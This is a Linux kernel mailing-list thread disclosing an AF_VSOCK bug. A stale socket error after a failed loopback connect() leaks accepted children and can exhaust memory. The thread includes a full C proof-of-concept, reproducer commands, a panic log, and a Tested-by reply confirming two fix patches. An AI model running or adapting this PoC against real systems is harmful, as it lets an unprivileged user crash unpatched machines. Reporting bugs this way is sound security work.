On Tue, Jul 28, 2026 at 4:38 PM Stefano Garzarella <[email protected]> wrote: > > On Fri, Jul 24, 2026 at 01:21:13AM +0800, Ren Wei wrote: > >From: Zihan Xi <[email protected]> > > > >Hi Linux kernel maintainers, > > > >We found and validated an issue in net/vmw_vsock/af_vsock.c. The bug is > >reachable by an unprivileged local user via AF_VSOCK loopback. We've > >tested it, and it should not affect any other functionality. > > Please check the following patches under discusion that seem related to > the issue you are reporting: > - > https://lore.kernel.org/virtualization/[email protected]/ > - > https://lore.kernel.org/virtualization/[email protected]/ > > If you test it, please send a Tested-by > > Thanks, > Stefano > > > > >This series contains one patch: > > 1/1 vsock: clear stale sk_err before listen() > > > >We provide bug details, reproducer steps, and a crash log below. > > > >---- details below ---- > > > >Bug details: > > > >A failed loopback connect() can leave sk_err set on a reusable AF_VSOCK > >socket. If userspace then calls listen() on the same socket, the stale > >error remains attached to the listener. A later child can still reach the > >accept queue, but vsock_accept() sees listener->sk_err, rejects the > >child, and drops only the transient accept reference. > > > >On the virtio loopback path that rejected child can remain orphaned in the > >vsock tables, so repeated iterations leak children and can eventually > >push the guest into OOM. Clearing sk_err in vsock_listen() prevents a > >failed connect() attempt from poisoning the next listener incarnation of > >that socket. > > > >On our fixed-kernel validation, the same minimal reproducer no longer hit > >that failed accept path and accept() returned a valid child socket. > > > >Reproducer: > > > > cc -O2 -Wall -Wextra -pthread -o /root/poc /root/poc.c > > echo 2 > /proc/sys/vm/panic_on_oom > > echo 1 > /proc/sys/vm/oom_dump_tasks > > /root/poc 100 44000 54000 33554432 33554432 600 > > > >We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. > > > >------BEGIN poc.c------ > > > >#define _GNU_SOURCE > > > >#include <arpa/inet.h> > >#include <errno.h> > >#include <linux/vm_sockets.h> > >#include <pthread.h> > >#include <signal.h> > >#include <stdbool.h> > >#include <stdint.h> > >#include <stdio.h> > >#include <stdlib.h> > >#include <string.h> > >#include <sys/socket.h> > >#include <sys/time.h> > >#include <sys/types.h> > >#include <time.h> > >#include <unistd.h> > > > >#define DEFAULT_BASE_PORT 40000U > >#define DEFAULT_FAIL_PORT 50000U > >#define DEFAULT_BUFFER_SIZE (32ULL * 1024 * 1024) > >#define DEFAULT_SEND_BYTES (32ULL * 1024 * 1024) > >#define DEFAULT_ITERATIONS 1U > > > >struct client_ctx { > > pthread_mutex_t lock; > > pthread_cond_t cond; > > unsigned int server_port; > > unsigned int client_port; > > unsigned long long send_bytes; > > unsigned long long bytes_sent; > > int connect_errno; > > int send_errno; > > int sent_any; > > int connected; > > int done; > > int fd; > >}; > > > >static void die(const char *msg) > >{ > > perror(msg); > > exit(EXIT_FAILURE); > >} > > > >static void set_vsock_u64(int fd, int optname, unsigned long long val) > >{ > > if (setsockopt(fd, AF_VSOCK, optname, &val, sizeof(val)) < 0) > > die("setsockopt(AF_VSOCK)"); > >} > > > >static void set_connect_timeout(int fd, long sec) > >{ > > struct timeval tv = { > > .tv_sec = sec, > > .tv_usec = 0, > > }; > > > > if (setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_CONNECT_TIMEOUT, > > &tv, sizeof(tv)) < 0) { > > die("setsockopt(SO_VM_SOCKETS_CONNECT_TIMEOUT)"); > > } > >} > > > >static void bind_vsock(int fd, unsigned int cid, unsigned int port) > >{ > > struct sockaddr_vm svm = { > > .svm_family = AF_VSOCK, > > .svm_cid = cid, > > .svm_port = port, > > }; > > > > if (bind(fd, (struct sockaddr *)&svm, sizeof(svm)) < 0) > > die("bind(AF_VSOCK)"); > >} > > > >static int connect_vsock_errno(int fd, unsigned int cid, unsigned int port) > >{ > > struct sockaddr_vm svm = { > > .svm_family = AF_VSOCK, > > .svm_cid = cid, > > .svm_port = port, > > }; > > > > if (connect(fd, (struct sockaddr *)&svm, sizeof(svm)) == 0) > > return 0; > > > > return errno; > >} > > > >static void *client_thread(void *arg) > >{ > > struct client_ctx *ctx = arg; > > char *buf; > > unsigned long long sent = 0; > > const size_t chunk = 64 * 1024; > > int fd; > > int err; > > > > fd = socket(AF_VSOCK, SOCK_STREAM, 0); > > if (fd < 0) > > die("client socket(AF_VSOCK)"); > > > > set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_MAX_SIZE, ctx->send_bytes); > > set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_SIZE, ctx->send_bytes); > > bind_vsock(fd, VMADDR_CID_LOCAL, ctx->client_port); > > > > err = connect_vsock_errno(fd, VMADDR_CID_LOCAL, ctx->server_port); > > > > pthread_mutex_lock(&ctx->lock); > > ctx->fd = fd; > > ctx->connect_errno = err; > > ctx->connected = (err == 0); > > pthread_cond_broadcast(&ctx->cond); > > pthread_mutex_unlock(&ctx->lock); > > > > if (err) > > return NULL; > > > > buf = malloc(chunk); > > if (!buf) > > die("malloc"); > > memset(buf, 'A', chunk); > > > > while (sent < ctx->send_bytes) { > > size_t todo = chunk; > > ssize_t rc; > > > > if (ctx->send_bytes - sent < todo) > > todo = ctx->send_bytes - sent; > > > > rc = send(fd, buf, todo, 0); > > if (rc < 0) { > > pthread_mutex_lock(&ctx->lock); > > ctx->send_errno = errno; > > pthread_mutex_unlock(&ctx->lock); > > break; > > } > > > > if (rc == 0) > > break; > > > > sent += rc; > > pthread_mutex_lock(&ctx->lock); > > ctx->sent_any = 1; > > ctx->bytes_sent = sent; > > pthread_cond_broadcast(&ctx->cond); > > pthread_mutex_unlock(&ctx->lock); > > } > > > > free(buf); > > > > pthread_mutex_lock(&ctx->lock); > > ctx->done = 1; > > pthread_cond_broadcast(&ctx->cond); > > pthread_mutex_unlock(&ctx->lock); > > > > return NULL; > >} > > > >static void client_ctx_init(struct client_ctx *ctx, unsigned int server_port, > > unsigned int client_port, > > unsigned long long send_bytes) > >{ > > memset(ctx, 0, sizeof(*ctx)); > > pthread_mutex_init(&ctx->lock, NULL); > > pthread_cond_init(&ctx->cond, NULL); > > ctx->server_port = server_port; > > ctx->client_port = client_port; > > ctx->send_bytes = send_bytes; > > ctx->fd = -1; > >} > > > >static void client_ctx_destroy(struct client_ctx *ctx) > >{ > > pthread_mutex_destroy(&ctx->lock); > > pthread_cond_destroy(&ctx->cond); > >} > > > >static int wait_for_connect(struct client_ctx *ctx) > >{ > > int err; > > > > pthread_mutex_lock(&ctx->lock); > > while (!ctx->connected && ctx->connect_errno == 0) > > pthread_cond_wait(&ctx->cond, &ctx->lock); > > err = ctx->connect_errno; > > pthread_mutex_unlock(&ctx->lock); > > > > return err; > >} > > > >static void wait_for_send_progress(struct client_ctx *ctx) > >{ > > struct timespec ts; > > > > clock_gettime(CLOCK_REALTIME, &ts); > > ts.tv_sec += 2; > > if (ts.tv_nsec >= 1000000000L) { > > ts.tv_sec += 1; > > ts.tv_nsec -= 1000000000L; > > } > > > > pthread_mutex_lock(&ctx->lock); > > if (!ctx->done) > > pthread_cond_timedwait(&ctx->cond, &ctx->lock, &ts); > > pthread_mutex_unlock(&ctx->lock); > >} > > > >static int prepare_listener(unsigned int server_port, unsigned int fail_port, > > unsigned long long buffer_size) > >{ > > int fd; > > int err; > > > > fd = socket(AF_VSOCK, SOCK_STREAM, 0); > > if (fd < 0) > > die("listener socket(AF_VSOCK)"); > > > > set_connect_timeout(fd, 1); > > set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_MAX_SIZE, buffer_size); > > set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_SIZE, buffer_size); > > bind_vsock(fd, VMADDR_CID_LOCAL, server_port); > > > > err = connect_vsock_errno(fd, VMADDR_CID_LOCAL, fail_port); > > if (err == 0) { > > fprintf(stderr, "unexpected successful failed-connect setup > > on port %u\n", > > fail_port); > > exit(EXIT_FAILURE); > > } > > > > fprintf(stderr, "[*] setup connect() failed with errno=%d (%s)\n", > > err, strerror(err)); > > > > if (listen(fd, 1) < 0) > > die("listen(AF_VSOCK)"); > > > > return fd; > >} > > > >static int trigger_once(unsigned int server_port, unsigned int fail_port, > > unsigned int client_port, > > unsigned long long buffer_size, > > unsigned long long send_bytes) > >{ > > struct client_ctx ctx; > > pthread_t tid; > > int listener_fd; > > int accept_fd; > > int accept_errno; > > > > listener_fd = prepare_listener(server_port, fail_port, buffer_size); > > > > client_ctx_init(&ctx, server_port, client_port, send_bytes); > > if (pthread_create(&tid, NULL, client_thread, &ctx) != 0) > > die("pthread_create"); > > > > if (wait_for_connect(&ctx) != 0) { > > fprintf(stderr, "client connect failed with errno=%d (%s)\n", > > ctx.connect_errno, strerror(ctx.connect_errno)); > > exit(EXIT_FAILURE); > > } > > > > wait_for_send_progress(&ctx); > > > > accept_fd = accept(listener_fd, NULL, NULL); > > accept_errno = errno; > > > > fprintf(stderr, "[*] accept() returned fd=%d errno=%d (%s)\n", > > accept_fd, accept_errno, strerror(accept_errno)); > > > > if (accept_fd >= 0) { > > fprintf(stderr, "unexpected successful accept()\n"); > > exit(EXIT_FAILURE); > > } > > > > if (accept_errno != ECONNRESET) { > > fprintf(stderr, "unexpected accept errno: %d (%s)\n", > > accept_errno, strerror(accept_errno)); > > exit(EXIT_FAILURE); > > } > > > > close(listener_fd); > > > > pthread_join(tid, NULL); > > > > fprintf(stderr, > > "[*] client connect errno=%d send errno=%d bytes_sent=%llu > > sent_any=%d done=%d\n", > > ctx.connect_errno, ctx.send_errno, ctx.bytes_sent, > > ctx.sent_any, ctx.done); > > accept_fd = ctx.fd; > > ctx.fd = -1; > > client_ctx_destroy(&ctx); > > return accept_fd; > >} > > > >static unsigned int parse_u32(const char *s) > >{ > > unsigned long long v = strtoull(s, NULL, 0); > > > > if (v > UINT32_MAX) { > > fprintf(stderr, "value too large: %s\n", s); > > exit(EXIT_FAILURE); > > } > > > > return (unsigned int)v; > >} > > > >static unsigned long long parse_u64(const char *s) > >{ > > return strtoull(s, NULL, 0); > >} > > > >int main(int argc, char **argv) > >{ > > unsigned int iterations = DEFAULT_ITERATIONS; > > unsigned int base_port = DEFAULT_BASE_PORT; > > unsigned int fail_base = DEFAULT_FAIL_PORT; > > unsigned long long buffer_size = DEFAULT_BUFFER_SIZE; > > unsigned long long send_bytes = DEFAULT_SEND_BYTES; > > unsigned int hold_seconds = 0; > > int *held_fds; > > unsigned int i; > > > > signal(SIGPIPE, SIG_IGN); > > > > if (argc > 1) > > iterations = parse_u32(argv[1]); > > if (argc > 2) > > base_port = parse_u32(argv[2]); > > if (argc > 3) > > fail_base = parse_u32(argv[3]); > > if (argc > 4) > > buffer_size = parse_u64(argv[4]); > > if (argc > 5) > > send_bytes = parse_u64(argv[5]); > > if (argc > 6) > > hold_seconds = parse_u32(argv[6]); > > > > held_fds = calloc(iterations, sizeof(*held_fds)); > > if (!held_fds) > > die("calloc"); > > > > for (i = 0; i < iterations; i++) > > held_fds[i] = -1; > > > > fprintf(stderr, > > "[*] iterations=%u base_port=%u fail_base=%u buffer_size=%llu > > send_bytes=%llu hold_seconds=%u\n", > > iterations, base_port, fail_base, buffer_size, send_bytes, > > hold_seconds); > > > > for (i = 0; i < iterations; i++) { > > unsigned int server_port = base_port + (i * 2); > > unsigned int client_port = base_port + (i * 2) + 1; > > unsigned int fail_port = fail_base + i; > > > > fprintf(stderr, > > "[*] iteration=%u server_port=%u client_port=%u > > fail_port=%u\n", > > i, server_port, client_port, fail_port); > > held_fds[i] = trigger_once(server_port, fail_port, > > client_port, > > buffer_size, send_bytes); > > fprintf(stderr, "[*] holding client fd=%d\n", held_fds[i]); > > } > > > > if (hold_seconds) { > > fprintf(stderr, "[*] sleeping for %u seconds with client > > sockets open\n", > > hold_seconds); > > sleep(hold_seconds); > > } > > > > for (i = 0; i < iterations; i++) { > > if (held_fds[i] >= 0) > > close(held_fds[i]); > > } > > > > free(held_fds); > > > > return 0; > >} > > > >------END poc.c-------- > > > >----BEGIN crash log---- > > > >[ 921.941962][T10458] Kernel panic - not syncing: Out of memory: compulsory > >panic_on_oom is enabled > >[ 921.942839][T10458] CPU: 0 UID: 0 PID: 10458 Comm: poc Not tainted > >6.12.74 #3 > >[ 921.943455][T10458] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, > >1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 > >[ 921.944405][T10458] Call Trace: > >[ 921.944701][T10458] <TASK> > >[ 921.944974][T10458] dump_stack_lvl+0x3b/0x1f0 > >[ 921.945423][T10458] panic+0x6fe/0x7e0 > >[ 921.945802][T10458] ? dump_header+0x6c2/0x950 > >[ 921.946233][T10458] ? __pfx_panic+0x10/0x10 > >[ 921.947686][T10458] ? out_of_memory+0x8c5/0x16b0 > >[ 921.948137][T10458] out_of_memory+0x8f3/0x16b0 > >[ 921.949926][T10458] __alloc_pages_noprof+0x1ec3/0x26d0 > >[ 921.954378][T10458] alloc_pages_mpol_noprof+0x2ce/0x610 > >[ 921.956796][T10458] folio_alloc_noprof+0x23/0xd0 > >[ 921.957720][T10458] filemap_alloc_folio_noprof+0x35d/0x420 > >[ 921.959719][T10458] filemap_fault+0x675/0x2800 > >[ 921.962920][T10458] do_pte_missing+0x174c/0x3ff0 > >[ 921.964830][T10458] __handle_mm_fault+0xfa3/0x2a10 > >[ 921.967730][T10458] handle_mm_fault+0x3f5/0xa00 > >[ 921.968200][T10458] do_user_addr_fault+0x50a/0x1490 > >[ 921.968691][T10458] exc_page_fault+0x5d/0xe0 > >[ 921.969113][T10458] asm_exc_page_fault+0x26/0x30 > >[ 921.969561][T10458] RIP: 0033:0x7f47a09b2237 > >[ 921.969990][T10458] Code: Unable to access opcode bytes at 0x7f47a09b220d. > >[ 921.970550][T10458] RSP: 002b:00007f47a089be60 EFLAGS: 00010202 > >[ 921.971073][T10458] RAX: 0000000000010000 RBX: 00007ffe78934c80 RCX: > >00007f47a0942c8e > >[ 921.972372][T10458] RDX: 000000000000002c RSI: 0000000000000000 RDI: > >0000000000000016 > >[ 921.973017][T10458] RBP: 0000000001800000 R08: 0000000000000000 R09: > >0000000000000000 > >[ 921.974428][T10458] </TASK> > >[ 921.974959][T10458] Kernel Offset: disabled > >[ 921.975445][T10458] Rebooting in 86400 seconds.. > > > >-----END crash log----- > > > >Best regards, > >Zihan Xi > > > >Zihan Xi (1): > > vsock: clear stale sk_err before listen() > > > > net/vmw_vsock/af_vsock.c | 4 ++++ > > 1 file changed, 4 insertions(+) > > > >-- > >2.43.0 > > >
Hi Stefano, Phi, I tested both patches below with my reproducer: [PATCH] vsock: use sock_error() to consume sk_err after connect timeout Message-ID: <[email protected]> [PATCH v2] vsock: use sock_error() to consume sk_err after ... Message-ID: <[email protected]> Both fix the issue for me. Tested-by: Zihan Xi <[email protected]> Best regards, Zihan Xi
